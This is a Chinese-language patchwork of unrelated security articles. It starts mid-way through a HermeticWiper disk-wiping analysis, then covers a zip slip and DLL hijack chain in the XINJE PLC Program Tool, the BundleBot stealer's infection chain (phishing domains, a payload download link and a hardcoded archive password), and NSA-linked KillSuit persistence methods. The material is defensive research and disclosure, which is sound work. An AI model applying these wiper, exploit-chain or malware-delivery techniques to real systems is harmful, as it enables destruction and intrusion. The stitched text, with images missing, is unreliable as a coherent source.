值得注意的是，Windows（自Vista以來）引入了一些安全措施，使得攻擊者只能在用戶模式（在標準Windows驅動程序的幫助下）下對磁盤開頭部分的扇區執行寫操作。如果我們想對其他扇區進行寫操作，即覆蓋MFT（主文件表），我們需要一些自定義的變通方法（詳情請參閱https://community.osr.com/discussion/101522/vista-rtm-writing-to-raw-disk-sectors）。

對於Petya（以及NotPetya，使用了相同的組件）來說，其解決方案是由另一個“內核”實現的，該內核（而不是Windows系統）在機器重新啟動時引導，並完成相應的覆蓋任務。對於HermeticWiper來說，其作者使用了一種更簡單的方法：他們使用了另一個驅動程序，該驅動程序能夠完成這樣的覆蓋操作。

首先，該惡意軟件會解析NTFS結構體，並將有關它們的信息存儲在內部結構體中。為了實現讀取，它使用了標準系統設備。在收集到所需的數據之後，附加的驅動程序（EaseUS）就開始發揮作用：它被用作對收集的扇區進行寫操作的代理。

攻擊可分為以下幾個階段：

準備工作，包括：

安裝附加驅動程序（EaseUS）

禁用可能有助於恢復或檢測攻擊行為的系統功能

數據收集：遍歷NTFS結構體，收集將要覆蓋的扇區和文件。此外，為進一步的覆蓋活動而生成適當大小的隨機數據。

垃圾處理（在此階段使用EaseUS驅動程序）：利用上一步生成的隨機數據覆蓋收集的扇區

最後，系統將自動重啟。

執行流程現在，讓我們來分析惡意軟件樣本，看看這些階段是如何實現的。

準備工作首先，該樣本會解析命令行參數。實際上，這些參數對執行的影響很小——可能只是改變樣本在特定階段的執行之間休眠的時間。

然後，該樣本會設置執行相關操作所需的特權。在惡意軟件的主函數中設置了兩個特權：SeShutdownPrivilege（允許重新啟動系統）和SeBackupPrivilege（允許操縱系統備份）：

1.png

調整所需特權

有趣的轉折來了：定義SeShutDownPrivilege的字符串是在堆棧上組成的，而中間的一塊卻不見了。

1.png

不完整的SeShutdownPrivilege字符串

然後，在根據當前可執行文件名稱的第一個字符計算的位置填充這個缺失的塊wnPr。因此，只有在樣本的名稱是以“C”開頭的情況下，字符串才會被補上（並且權限設置正確）。

1.png

SeShutdownPrivilege在後面的步驟中補全

關於惡意軟件為何要這麼大費周章的原因尚不明確，也許只是為了混淆這個特定的可疑字符串。因為惡意軟件作者使用名稱檢查作為反沙箱技術也很常見（因為沙箱可能會給樣本指定一些可預測的名稱：如果檢測到這樣的名稱，則樣本可能會退出，這樣沙箱就無法跟踪其行為）。然而，該行為對樣本的影響非常小——它只影響重新啟動功能，而不是惡意軟件的主要任務。

驅動程序的安裝之後，該惡意軟件就會進行驅動程序的安裝。

1.png

安裝驅動程序

安裝過程分為以下幾個步驟：

首先，對系統進行指紋識別，以便選擇最合適的驅動程序版本。具體來說，它會根據Windows的版本和位數（32或64位），來選擇資源。

1.png

可加載的驅動程序

在安裝驅動程序之前，崩潰轉儲機制會被禁用。

1.png

HermeticWiper將禁用崩潰轉儲機制

如果整個系統發生崩潰，可能是由於驅動程序中的錯誤/不穩定所致，並且通常會進行崩潰轉儲：保存有關係統的完整狀態，以及到底發生了什麼方面的信息，以幫助調試。在安裝前禁用崩潰轉儲功能，表明惡意軟件的作者對所用驅動程序並不是很有信心，或者認為執行的操作有導致系統崩潰的風險。所以，他們希望即使發生了崩潰，也要設法讓管理員很難找到崩潰的原因。

然後，他們檢查驅動程序是否已經安裝。這一步是通過向驅動程序發送IOCTL來實現的：該IOCTL用於檢索驅動器幾何形狀方面信息。如果該操作失敗，這意味著相關驅動程序根本就不存在，他們可以繼續安裝。

1.png

EaseUS設備對象引用

安裝該驅動程序時，首先會根據硬編碼的字符集為驅動程序生成一個含有4個字符的偽隨機名稱。該函數還需確保沒有文件與剛才生成的名稱重名。

1.png

生成驅動程序名稱

然後，植入文件的壓縮版本。最後，從中解壓縮出相應驅動程序。

HireHackking

內容提要Team82在工程設計工作站XINJE PLC Program Tool中發現了兩個漏洞。

3.5.1版本受到這些漏洞的影響，其他版本也可能受到影響。

Team82於2020年8月開始著手披露工作。一年多後，XINJE終於在2021年9月承認了我們披露的漏洞。

當時XINJE拒絕與Team82合作，並要求我們停止與他們溝通。

在今天披露有限的細節之前，我們將協調披露政策的期限從90天延長到9個月，以幫助資產所有者遴選緩解措施。

攻擊者能夠利用一個精心製作的項目文件來觸發這些漏洞。

可以將任意數量的項目文件寫入一個項目文件以獲得代碼執行。

工程設計工作站是最關鍵的運營技術(OT) 資產之一。工程師使用這些平台在工業控制系統的普渡模型較低級別配置和維護各種控制系統應用程序和設備。如果攻擊者能夠訪問和使用工程工作站，那麼，他們就可以將其作為攻擊媒介來進一步破壞工業流程，進而可能危及公共安全或中斷關鍵服務。

Team82在審查v3.5.1版本的XINJE PLC Program Tool的安全性的時候，發現了兩個安全漏洞，分別為CVE-2021-34605和CVE-2021-34606）。不過，Team82僅對v3.5.版本系列進行了測試，但我們相信，其他版本也可能存在相同的漏洞。

這些漏洞可以通過精心設計的項目文件觸發。攻擊者可以利用這些漏洞將任意數量的項目文件寫入PLC並獲得代碼執行權限。

Team82今天披露了有關這些漏洞的有限信息，在嘗試與公司代表聯繫一年未果後，這些漏洞的詳細信息已經於2021年8月末私下披露，因為供應商既不接受我們分享技術信息，也拒絕了讓我們參與漏洞修復與響應的請求。最後，2021年9月8日，XINJE代表要求Team82停止溝通。 Team82則將其協調披露政策的期限從90天延長至9個月後，決定披露有限的漏洞細節，以幫助資產所有者遴選緩解措施。

關於PLC Program Tool

XINJE的PLC Program Tool是一個工程設計工作站程序，可以在OT環境中與XINJE生產的PLC進行通信。據XINJE稱，這些設備不僅在中國銷售，而且還在歐洲、北美、東南亞和其他地區的一些市場上銷售，涉及能源、製造業和工程等行業。

從安全的角度來看，只要獲得對安裝有工程設計工作站程序的機器的訪問權限，攻擊者就能接管PLC和其他高度敏感的OT設備，並造成不良後果。因此，攻擊者可以利用這些程序中的漏洞作為完全控制OT網絡的最後一步。

1.png

以工程工作站為目標的攻擊者可以感染較低級別的設備，如PLC、傳感器或泵。

惡意項目文件是這類漏洞的重心Team82對與項目文件相關的安全漏洞特別感興趣。

項目文件通常是包含OLE文件、SQLite數據庫、專有格式的二進製文件、文本文件和工程工作站內創建的目錄的歸檔文件格式。這些程序被工程師用來監控、配置可編程邏輯控制器（PLC）和其他控制系統，並與之進行通信。

項目文件中包含的程序邏輯不僅負責管理ICS設備以及監督流程，同時還可能包含網絡配置數據，甚至完整的OT網絡佈局。對於以工業網絡為目標的攻擊活動，尤其是國家級的入侵活動，項目文件的武器化就是這些活動的核心之所在。

當通過工程設計工作站程序打開一個項目文件時，該程序將迅速與相關設備進行通信。另外，OT工程師有時可以通過PLC上傳項目文件，但這需要運行網絡發現工具來確定PLC的網絡地址（不是所有的PLC都支持這個程序），或者手動輸入相關的網絡參數。因此，許多公司會選擇使用項目文件，因為每個文件可以包括一個或多個PLC的配置。

當工程設計工作站程序打開由攻擊者精心構造的項目文件時，可能會觸發漏洞。在這種情況下，攻擊者可以將用於存儲文件的網絡共享中的合法文件替換成一個特製的文件，從而觸發程序中的漏洞。我們在XINJE的PLC Program Tool中就發現了這樣的漏洞：在打開一個精心構造的項目文件時，攻擊者可以在易受攻擊的端點上運行任意代碼。

研究環境設置是關鍵的第一步作為我們工作的一部分，我們經常收到研究專有協議的請求，以便最大限度地提高客戶觀察其網絡流量的能力。有時，我們必須支持仍在生產現場發揮關鍵作用的舊設備，而在其他時候，我們甚至會偶然發現小型OT供應商製造的設備。

有次，我們從一個客戶那裡收到了分析由XINJE製造的設備所使用的協議的請求，這就屬於後者。

我們的第一步是建立一個實驗室設置；這通常需要購買設備，並將其連接到相關的工程設計工作站程序。在某些情況下，即使是購買設備也很困難，因為我們需要的確切型號可能已經斷貨了。

隨著時間的推移，我們發現，竟然可以通過eBay買到各種型號的OT設備。在許多情況下，一旦工廠停止生產某型號的OT設備，舊的二手設備就會出現在eBay上，不僅容易買到，還是包郵到家那種。當然，XINJE提供的設備也不例外，各種型號的XINJE產品基本都可以通過eBay買到。

Ebay上的XINJE工業設備清單：

1.png

一旦購買了PLC，下一步就是把它和其他眾多的OT設備一起安裝到我們的實驗室中，並將其連接到負責配置的工程設計工作站程序上。

1.png

在實驗室環境中運行的XINJE PLC

聯合運用兩個漏洞實現惡意文件的加載一旦我們搭建好了實驗環境，並研究好設備所使用的不同協議，接下來要做的事情，就是按照客戶的要求在其中尋找安全漏洞。

檢查這些安全問題可以幫助用戶立即改善他們的安全狀況。同時，負責任地將這些漏洞報告給供應商，不僅可以幫助修復這些漏洞，還能提高整個OT空間的安全性。

在XINJE的案例中，我們決定把重點放在名為XINJE PLC Program Tool的工程設計工作站程序上。如前所述，在這種情況下，項目文件的漏洞是特別值得關注的。通常情況下，在搜索項目文件的漏洞時，首先要調查工程設計工作站程序所使用的項目文件的具體結構。對於XINJE PLC Program Tool來說，相關文件是*.xdp文件。

1.png

XINJE PLC項目文件是由.xdp類型的文件組成的。

不難發現，這些項目文件都是些壓縮文件，具體如下面的魔法字節PK/x03/x04所示：

1.png

並且，它們幾乎可以被所有的歸檔工具（如7z）提取。更有趣的是，當程序打開一個項目文件時，它會立即將其解壓縮到位於其安裝目錄下的一個臨時目錄中：

1.png

XDPPro.exe將多個文件寫入C:\Program Files\XINJE\XDPPro\tmp目錄中

這種行為表明，該程序認為自己是以管理員權限運行的。這一點，再加上提取的文件是一個zip文件，立即讓人懷疑是否可以利用zip slip漏洞（一個任意的文件覆蓋漏洞）來獲得任意的寫入權限。

很快，我們確實發現了一個zip slip漏洞（CVE-2021-34605），它可以授予攻擊者該程序的所有權限，包括任意寫入特權；在大多數情況下，這些權限都是管理員才具有的權限。

下一個問題是：如何從任意文件寫入實現代碼執行。由於代碼在項目文件加載後立即執行是最合理的選擇，所以，我們可以檢查程序在打開項目文件後，會執行哪些操作：

1.png

XDPPro.exe試圖從C:\Program Files\XINJE\XDPPro加載DNSAPI.dll，但沒有找該動態庫，並返回至C:\Windows\System32目錄

有趣的是，它將通過LoadLibrary從其本地目錄來加載.dll文件。當LoadLibrary沒有找到相應的動態庫時，它會再次回到C:\Windows\System32目錄，並在此搜索庫文件。這裡是我們發現第二個漏洞，即CVE-2021-34606的地方；這是一個典型的DLL劫持漏洞。

為了創建一個行之有效的exploit，我們需要聯合使用這兩個漏洞：

一旦精心構造的惡意項目文件被XINJE PLC Program Tool打開，就會觸發zip slip漏洞，這時，會將一個.dll文件寫入Program Files的program目錄中。之後，在加載新項目的過程中，這個DLL也會一同被加載，而不是加載真正的DLL（它位於Windows\System32）。

一旦攻擊者的DLL被加載，惡意代碼就會在其DLLMain進程或在程序導入的某個函數中執行，這樣，攻擊者就在OT網絡中成功獲得一個立足點。

1.png

Team82的PoC演示效果

小結儘管近年來OT界對網絡安全的認識一直在穩步提高，但許多工程設計工作站程序中仍然存在許多易受攻擊的安全漏洞。

並且，並非所有的供應商都已經意識到，工程文件能夠成為攻擊者手中的武器，成為控制關鍵OT資源的手段；對於大多數OT人員來說，情況也是如此。

此外，許多供應商在協調漏洞的披露的方面，仍然有許多工作要做。因此，披露過程會浪費許多不必要的時間，因為這些信息往往要經過沒有安全知識的銷售和/或技術支持團隊，才能到達負責開發受影響產品的團隊。

對於新捷來說，這是一次具有挑戰性的漏洞披露，幸好這並非大多數OT供應商的常態。

HireHackking

Check Point Research (CPR)對被稱為BundleBot的新型惡意軟件進行了深入分析發現，BundleBot濫用dotnet bundle（單文件），這是一種自包含的格式，可以很好繞過靜態檢測。它會偽裝成常規實用程序，人工智能工具和遊戲。通常通過Facebook廣告和受攻擊帳戶傳播。

詳細分析在過去的幾個月裡，BYOS公司一直在監控一個新的未知的竊取程序，研究人員稱之為BundleBot，他們發現其傳播並濫用dotnet bundle(單文件)，自包含格式。從.net core 3.0+到dotnet8+，這種形式的dotnet編譯已經支持了大約四年，並且已經有一些已知的惡意軟件家族濫用它，例如Ducktail。

使用這種特定dotnet格式的BundleBot主要是濫用Facebook廣告和受攻擊帳戶，利用dotnet bundle(單文件)、自包含格式、多階段攻擊和自定義混淆。

dotnet bundle（單文件）、自包含的格式通常會導致整個dotnet運行時出現非常大的二進製文件。此外，分析和調試這樣的文件可能會導致一些問題，特別是如果這樣的文件受到一些混淆的影響。

本文主要深入分析BundleBot的攻擊方式，重點對dotnet bundle（單文件）、自包含格式進行分析。

發現過程自.NET Core 3.0（2019）發布以來，可以將.NET程序集部署為單個二進製文件。這些文件是不包含傳統.NET元數據標頭的可執行文件，並通過特定於平台的應用程序主機引導程序在底層操作系統上本地運行。

dotnet bundle（單文件），自包含格式是一種編譯形式，可以生成一個不需要在操作系統上預裝特定Dotnet運行時版本的可執行二進製文件。可執行文件實際上是一個本地託管二進製文件，在其覆蓋中包含整個dotnet運行時、程序集和其他依賴項，因此它很大，約幾十MB。本機託管二進製文件負責從覆蓋中提取（在執行時）所有內容，加載dotnet運行時和程序集，準備所有內容，並將執行轉移到.NET模塊的入口點。

當涉及到從覆蓋中提取程序集時（在執行時），我們可以根據用於編譯特定應用程序的目標dotnet版本來處理不同的例程。 dotnet版本之間的區別在於，在dotnet5+（.NET Core 3.0+）之前，默認情況下，所有程序集都被提取到磁盤（臨時目錄）並加載到進程內存中。

另一方面，在dotnet5+版本中，覆蓋層中的所有程序集都被提取並直接加載到進程內存中（沒有文件被釋放在磁盤上，則只有本地庫）。在dotnet5+中，可以在編譯期間指定提取，但默認設置是直接被提取到內存中的。

儘管研究人員仍在處理與dotnet相關的應用程序，但上述對這種特定文件格式的描述清楚地表明，需要使用不同的工具集和技術來正確分析它。

研究人員檢測到BundleBot濫用dotnet bundle(單文件)，將其作為攻擊的最後階段，它與已經被公佈的幾個惡意活動有關，很可能是由同一個組織發起的。

攻擊載體在發現的示例中，最初的攻擊載體都是通過Facebook廣告或被攻擊的賬戶傳播的，攻擊程序偽裝成常規程序、人工智能工具和遊戲。例如，Google AI、PDF Reader、Canva、Chaturbate、Smart Miner、超級馬里奧3D世界。由於BundleBot的功能之一是竊取Facebook賬戶信息，這些被盜的信息進一步用於通過新受攻擊的賬戶傳播惡意軟件。

儘管如此，我們不能完全排除其他可能的傳播方式，因為我們無法通過相關的跟踪信息獲得所有檢測到的樣本源鏈接。

一旦受害者被誘騙從釣魚網站下載假程序實用程序，第一階段下載程序以“RAR”形式發送。這些下載階段通常是在Dropbox或Google Drive等託管服務上。

下載的“RAR”文件包含一個獨立的dotnet bundle(單文件)格式的第一階段下載程序。在執行第一階段後，第二階段以密碼保護的“ZIP”文件的形式下載，通常來自Google Drive等託管服務。第二階段的密碼在下載程序中進行硬編碼，通常是以編碼的形式。

被提取和執行的受密碼保護的“ZIP”文件的主要部分是BundleBot，它是dotnet bundle(單文件)、自包含格式和自定義混淆的組合。

下面是一個與虛假的實用程序“Google AI”有關的詳細攻擊鏈示例，它偽裝成使用Google AI Bard的營銷工具：

1.來自受攻擊賬戶的Facebook廣告或Facebook帖子的釣魚網站https://marketingaigg[.]com/。

1.png

受攻擊賬戶的Facebook上的釣魚網站

2.釣魚網站https://marketingaigg[.]com/偽裝成營銷工具，使用Google Bard AI引導下載頁面https://googlebardai[.]wiki/Googleai。

2.png

導致下載階段的釣魚網站

3.URL https://googlebardai[.]wiki/Googleai正在從Dropbox託管服務。

下載“RAR”文件Google_AI.rar (SHA-256:

“dfa9f39ab29405475e3d110d9ac0cc21885760d07716595104db5e9e055c92a6”)；4.Google_AI.rar包含GoogleAI.exe (SHA-256: ' 5ac212ca8a5516e376e0af83788e2197690ba73c6b6bda3b646a22f0af94bf59 ')， dotnet bundle(單個文件)和自包含的應用程序；

5.GoogleAI.exe包含用作下載程序的GoogleAI.dll dotnet模塊(從https://drive.google[.]com/uc?id=1-mC5c7o_B1VuS6dbQeDAAqLuPbfAV58Oexport=downloadconfirm=t, password=alex14206985alexjyjyjj下載受密碼保護的“ZIP”文件adsnew - 1.0.0.0 . ZIP)；

6.解壓後的ADSNEW-1.0.0.3.zip (SHA-256: ' 303c6d0cea77ae6343dda76ceabaefdd03cc80bd6e041d2b931e7f6d59ca3ef6 ')包含RiotClientServices.exe, dotnet bundle (單文件)以及自包含應用程序。

7.RiotClientServices.exe作為最後階段服務和執行，包含兩個惡意dotnet模塊RiotClientServices.dll，BundleBot,和libarysharing .dll ，他們是C2數據序列化程序。

自包含Dotnet Bundle 的分析當我們需要分析一個自包含的dotnet bundle(單文件)二進製文件時，我們會遇到幾個問題。

第一個問題是，我們需要以某種方式提取所有二進製文件，這些二進製文件是上述包bundle覆蓋的一部分。這種提取將幫助我們靜態地調查每個文件，就像我們在處理普通的dotnet程序集時所做的那樣。儘管目前該做法還不太成熟，但是已經有一些解決方案能夠充分分析dotnet bundle格式了，從而幫助我們進行提取。我們基於GUI的工具和庫，以編程的方式實現這一點。值得注意的是，目前dnSpy/dnSpyEx不支持提取dotnet bundle文件。

可以幫助提取的最可靠的基於GUI的工具包括：

ILSpy：開源.NET程序集瀏覽器和反編譯器；

dotPeek：免費的.NET反編譯器和程序集瀏覽器；

ILSpy中dotnet bundle的提取：

3.png

ILSpy中的dotnet bundle提取

dotPeek中dotnet bundle的提取：

4.png

dotPeek中dotnet bundle的提取

如上所述，dotnet bundle文件的提取也可以通過編程的方式完成。當我們處理較大的文件集時，這種方法非常方便。

為此，最合適的解決方案是使用AsmResolver。 AsmResolver是一個便攜式可執行(PE)檢查庫，能夠讀取，修改和寫入可執行文件，這包括.NET模塊以及本機映像。該庫仍然允許用戶訪問低級結構。更重要的是，AsmResolver理解bundle文件格式，因此我們可以使用它來自動提取。

下面是使用AsmResolver和PowerShell提取bundle文件內容的代碼示例。

5.png

現在，當我們成功地提取了dotnet bundle文件的全部內容時，就可以使用通常用來檢查普通dotnet程序集的任何工具，比如dnSpyEx。這將允許我們靜態地調查每個.net程序集。

6.png

dnSpyEx中dotnet程序集的靜態分析

由於dotnet程序集，特別是惡意程序集，通常非常複雜，並且經常受到一些混淆或保護的影響，大多數研究人員傾向於將靜態和動態分析方法結合起來。關於動態方法，我們使用一個自包含的dotnet bundle(單文件)二進制調試來接近第二個問題。

在託管調試器(如dnSpyEx)中調試dotnet程序集是常用的一種方法。 dnSpyEx中的調試不完全支持自包含的dotnet bundle二進製文件，如果試圖調試此類文件，可能會導致如下所示的類似異常。

7.png

調試自包含dotnet bundle時拋出的DnSpyEx異常

幸運的是，最近發布的dnSpyEx版本(v6.4.0)改進了對這類文件的調試，因此我們應該不會再遇到這種異常，調試可以順利進行。

儘管我們可以在最新版本的dnSpyEx (v6.4.0)中調試自包含的dotnet bundle文件，但它無法解決作為dotnet bundle混淆的dotnet程序集的處理問題。

當dotnet二進製文件被編譯為一個自包含的包時，這僅僅意味著整個依賴項(尤其是dotnet運行時)是生成的應用程序的一部分，並且這樣的應用程序通過其配置文件被配置為使用它們。這些配置文件是在提取包和去混淆每個受保護程序集之後影響調試的主要問題。

為了解決這個問題，我們實際上可以將自包含的dotnet bundle文件轉換為非自包含的、非單文件的.NET程序。通過這種方式轉換的程序將被誘騙使用dotnet運行時，這是操作系統的一部分，所以我們必須確保安裝了它。

轉換步驟如下：

1.如上所示，提取dotnet bundle文件的內容；

2.查找要在操作系統中安裝的dotnet運行時版本並進行安裝。為了快速查找我們的.NET應用程序所依賴和需要安裝的具體dotnet運行時的版本信息，我們可以定位並檢查配置文件*[appname].runtimeconfig.json*和*[appname].deps.json*，它們應該在之前提取的內容中。

在下面的示例中，我們可以清楚地看到，需要安裝.NET Runtime 5.0.17, x86。

8.png

配置文件

9.png

需要安裝的dotnet運行時版本(Microsoft)

3.修改配置文件*[appname].runtimeconfig.json*和*[appname].deps.json*的內容。通過修改這些文件，我們將應用程序轉換為非自包含的、非單文件的.NET程序，並強制它使用已安裝的dotnet運行時版本。

修改*[appname]. runtimeeconfig .json*，將' includedFrameworks '字符串改為' frameworks '。

10.png

修改“[appname].runtimeconfig.json”

通過刪除來自“libraries”的“runtimepack”條目來修改*[appname].deps.json*。

11.png

修改“[appname]. depth .json”

4.運行和調試。自包含的dotnet bundle應用程序可以依賴於本機庫，這些庫可能是bundle的一部分，所以我們已經從內容中提取了它們，或者它們可以與bundle可執行文件一起單獨提供。通過檢查配置文件或運行配置文件，我們可以快速發現應用程序是否有這樣的依賴關係（在*[appname].deps.json*中定義），如下所示。

12.png

運行提取的bundle應用程序時出現依賴關係相關錯誤要解決這個問題，只需將bundle應用程序旁邊的所有依賴項複製到先前提取內容的位置。現在，調試應該像使用安裝在操作系統中的dotnet運行時的普通.NET應用程序一樣運行了。

13.png

在dnSpyEx中調試轉換的非自包含、非單文件的.NET應用程序

如果我們不處理作為dotnet bundle一部分的混淆的dotnet程序集，則不需要像上面那樣，因為使用最新版本的dnSpyEx (v6.4.0)可以直接調試它們。儘管如此，當我們處理混淆的程序集並傾向於以去混淆的形式調試它們時，仍然需要上面的操作方法。

如上所述，我們介紹了一種將自包含的dotnet bundle文件轉換為普通的dotnet程序集的通用方法，這取決於目標操作系統上預安裝的適當版本的dotnet運行時。這種方法應該適用於不同的操作系統平台（Windows、Linux、macOS）。

了解瞭如何提取自包含的dotnet bundle文件的內容以及如何對其進行調試後，我們就可以繼續進行分析了。

技術分析自帶的dotnet bundle格式，可加強分析和靜態檢測；

受簡單但有效的自定義模糊處理的影響；

濫用密碼保護的文件來進行最後階段的傳播；

最後階段是一個新的竊取程序BundleBot；

用於C2通信的自定義homebrew分組數據序列化。

下載程序技術分析下載階段的分析，請使用GoogleAI.exe示例SHA-256：“5ac212ca8a5516e376e0af83788e2197690ba73c6b6bda3b646a22f0af94bf59”。

此示例是一個32位自包含的dotnet bundle應用程序（.NET Core 3.0.3），其最初是RAR文件的一部分。提取該捆綁包後，主模塊GoogleAI.dll是一個下載程序，受簡單的自定義混淆影響，只有字符串和名稱(無意義的泰語文本)。

14.png

受簡單自定義混淆影響的下載程序

下載程序的PDB路徑：D:\BOT\RAT\RAT 4.0版\HashCode\BOT ADS Server 4\ClientDowload FB\ClientDowload\obj\Debug\netcoreapp3.0\win-x86\GoogleAI.PDB。

去混淆之後，主要功能駐留在名為ProcessMain的函數中。

15.png

下載程序的主要功能

其主要功能可以概括如下：

1.單例檢查；

2.下載使用隨機名稱和“.rar”擴展名保存的受密碼保護的ZIP文件；

3.從https://drive.google[.]com/uc?id=1-mC5c7o_B1VuS6dbQeDAAqLuPbfAV58Oexport=downloadconfirm=t下載文件；

4.將下載的文件屬性設置為“隱藏”；

5.將下載文件的內容提取到新創建的文件夾C:\Users\User\Documents\{random}，密碼：alex14206985alexjyjyjj；

6.將新創建的文件夾和其中所有“.exe”文件的屬性設置為“隱藏”；

7.刪除下載的文件；

BundleBot以自包含的dotnet bundle文件的形式出現，是下載的受密碼保護文件的主要部分，並由下載程序執行。值得注意的是，所有分析的下載程序都包含相同的硬編碼密碼alex14206985alexjyjyjj(明文或base64編碼)來開始下一階段地提取。

BundleBot技術分析對BundleBot階段的分析，使用了示例RiotClientServices.exe，SHA-256：“6552a05a4ea87494e80d0654f872f980cf19e46b4a99d5084f9ec3938a20db91”。

這個示例是一個32位的自包含dotnet bundle應用程序(.NET 5.0.17)，最初是受密碼保護的ZIP文件的一部分。在提取這個包之後，它的主要惡意組件是主模塊RiotClientServices.dll和庫librarysharing.dll。

程序集RiotClientServices.dll是一個新的自定義的竊取程序，它使用庫libarysharing .dll來處理和序列化作為惡意通信的一部分發送到C2的數據包數據。

這些二進製文件受到類似的自定義混淆的影響，這些混淆主要集中在名稱混淆和用大量垃圾代碼填充這些dotnet模塊。這樣的混淆將導致大量的方法和類，這將使分析變得更加困難，並且需要創建自定義的去混淆器來簡化分析過程。

在去混淆之前，RiotClientServices.dll的大小約為11MB，包含26742個方法和902個類。在libarysharing .dll示例中，混淆導致二進制大小約為10MB，包含32462個方法和9473個類。

16.png

“librarysharing .dll”的模糊代碼：類“Serialize”

正因為如此，我們快速設計了一個簡單的去混淆器，它適用於所有受類似自定義混淆影響的二進製文件。這個去混淆器使用AsmResolver和PowerShell來清理垃圾代碼，並且仍然進行調試。

17.png

去混淆後，我們可以將方法和類的大小、數量減少到:

1.RiotClientServices.dll大小≈124KB, 158個方法，35個類；

2.LirarySharing.dll大小≈30KB, 220個方法，28個類

HireHackking

01.png

KillSuitKillSuit (KiSu)是一個不尋常的插件，一旦部署在受害設備上，它的整個任務就是運行其他插件，為持久性和規避提供框架。一些DanderSpritz 插件可以單獨運行，也可以通過KillSuit 調用。它的設計使得在受害者端運行的每個KillSuit 實例都可以託管一個工具（例如下面的MistyVeal）；因此，很容易發生受害者設備上安裝了多個KillSuit 實例，每個實例都託管不同的post-exploitation工具。每個KillSuit 實例的數據，包括其所有模塊，都在註冊表項中保持加密。這是KillSuit 獨有的功能，通常不是DanderSpritz 插件的功能。

DoubleFeature 記錄了大量與KillSuit 相關的數據。實際上，DoubleFeature 內部也有一些死代碼，允許刪除、升級和推送模塊更新到運行的KillSuit 實例中。雖然“KillSuit”是在DoubleFeature 內部和攻擊者實際調用的外層DanderSpritz CLI 中使用的名稱，但實際上內部使用的Plugin 文件夾名稱是DecibalMinute（簡稱DeMi）。 Python UI 邏輯主要可以在3 個腳本中找到，不出所料，它們位於在插件的pyscripts 目錄中。

“Mcl_Cmd_DiBa_Tasking.py”：處理KiSu 安裝、卸載和升級。作為參數，此腳本接受要使用的持久性機制的類型；有4 種類型的持久性，命名為“Default”, “Launcher”, “SoTi” 和“JuVi”。我們將在下面進一步詳細說明它們的內部工作原理。在底層，Python UI通過RPC調用(RPC_INFO_INSTALL)實現這一點。

“Mcl_Cmd_KisuComms_Tasking.py”：用於與受害者端正在運行的KillSuit實例建立連接，並提供動態加載和卸載模塊/驅動程序的功能。

“_KiSu_BH_enable.py”：KillSuit 的一個內部驅動程序稱為“BroughtHotShot”，簡稱BH。此腳本不會啟用它，但會檢查它是否已被啟用（通過DanderSpritz 命令可用-command kisu_install -isloaded 和可用-command kisu_install -load）。如果要啟用驅動程序，則需要執行KiSu_BH_enable.py on，禁用則是KiSu_BH_enable.py off。

“Mcl_Cmd_KiSuFullList_Tasking.py”：生成目標設備上當前KiSu 安裝的列表。在後台，這是通過調用kisu_list DanderSpritz 命令完成的，然後對於每個返回的安裝，通過DanderSpritz 命令kisu_config -instance id -checksum 來獲取它的配置。此配置包含各種技術細節，例如KillSuit 版本、安裝的註冊表項和值、內核和用戶模塊的加載程序、用於保存託管插件模塊的加密虛擬文件系統的目錄、已被安裝的合法驅動程序通過將託管插件注入其中，以及在受害者上啟動KillSuit 時內部使用的標誌而受害。

每個KillSuit 實例都有一個內部記錄，其中包含該實例中託管的工具的“ID”，每個工具的ID 都是相同的。我們發現DoubleFeature 內部引用了以下可能的實例：

PC (PeddleCheap) –0x7A43E1FA：提供一個交互式shell和一些長期持久性的功能。本身也可用作post-exploitation工具，並且可以在受感染的主機上安裝其他KillSuit 實例。

UR (UnitedRake) ：0x91FD378（同上）；

STLA (StrangeLand)/GROK –0x1A0F5582，這些都是鍵盤記錄器，他們的加密日誌存儲在名稱格式為tm154*.da 的文件中；

SNUN (SnuffleUnicorn) –0x23A4732A；

WRWA (WraithWrath) –0x502BB710；

SLSH (SleepySheriff) –0x32A7032D；

WORA (WoozyRamble) –0x68A40E49；

TTSU (TiltTsunami) -0x8F1D6511；

SOKN (SoberKnave) -0x8F1D6510：該工具具有通過未使用/禁用的WiFi卡進行數據溢出的功能，它被用於氣隙系統（airgapped）目標。

MAGR (MagicGrain) -0x437e528e8；

DODA (DoubleDare) -0x1C9D4A8A；

SAAN (SavageAngel) –0x9D801C63；

MOAN (MorbidAngel) –0x9D801C62；

DEWH (DementiaWheel)–0xAE37690B：黑客工具也稱為“Fanny”；

CHMU (ChinMusic) –0x39B2DA17；

MAMO (MagicMonkey) –0x2D473AB3；

MABE (MagicBean) -0x8675309 ：用於中間人的WiFi

DiveBarDiveBar（DiBa）是DoubleFeature對負責持久化方法（例如“KSLA”（KillSuit loader）、“SolarTime”、“JustVisiting”和“DoctorOcopus”）部分的命名。

我們上面提到的不同持久化方法有：

KSLA (Launcher)：只需在受害系統上安裝一個新的驅動程序並將其用於持久性。這種情況一直持續到微軟引入驅動程序簽名強制執行(DSE)，它不允許未簽名的驅動程序運行。 Windows Vista及以後版本不支持此方法。

JustVisiting (JuVi)：為了繞過DSE，這種持久性機制濫用了簽名驅動程序ElbyCDIO.sys 中的一個已知漏洞，該漏洞是RedFox 軟件“CloneCD”的一部分。在系統啟動時加載和利用易受攻擊的驅動程序。以這種方式獲得的提升權限會用於將DiveBar 的持久化驅動程序添加到LSAExtensionConfig/interfaces，此方法僅適用於Windows 8操作系統。

SolarTime (SoTi)：一種高級的持久性機制，通過修改一個受害者係統的VBR 來工作。僅與具有FVEBOOT 和特定引導扇區格式的NTFS 文件系統兼容。 SoTi 將引導扇區的哈希與下面列出的“已知良好”哈希列表進行比較。

15.png

如上所述，KillSuit 在受害者註冊表中保存了一個叫做“模塊存儲”的內容。根據註冊表的合法目的，惡意軟件使用註冊表來存儲簡單的配置數據；但隨著時間的流逝，越來越多的惡意軟件開始使用註冊表來存儲任意數據。這樣，註冊表就會包含模塊存儲的整個虛擬文件系統，該模塊存儲是通過連接兩個硬編碼字典中偽隨機選擇的兩個單詞生成的。第一個單詞的可能值列示如下：

16.png

第二個單詞的可能值：

17.png

卡巴斯基報導過的“GrayFish”的架構和KillSuit一樣：

18.webp.jpg

GrayFish 的架構

圖中資源與DiveBar資源一一對應：

102 – fvexpy.sys – F7F382A0C610177431B27B93C4C87AC1；

103 – mpdkg32.dll – 0182DBF3E594581A87992F80C762C099；

104 – BroughtHotShot driver – drmkflt.sys – 9C6D1ED1F5E22BF609BCF5CA6E587DEC/D3DF8781249F2C404C4935CA9FFB1155；

107 – New VBR (for SolarTime)；

110 – mpdkg64.dll – F01525C9EF763C49E28CEC6C2F6F6C60；

